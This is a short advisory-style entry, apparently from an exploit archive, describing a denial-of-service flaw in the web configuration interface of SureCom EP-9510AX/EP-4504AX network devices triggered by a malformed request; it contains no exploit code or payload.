SureCom EP-9510AX/EP-4504AX Network Device - Malformed Web Authorisation Request Denial of Service (2)

// source: https://www.securityfocus.com/bid/9795/info
 
An issue in the handling of specific web requests by SureCom network devices has been identified. By placing a malformed request to the web configuration interface, it is possible for an attacker to deny service to legitimate users of a vulnerable device.
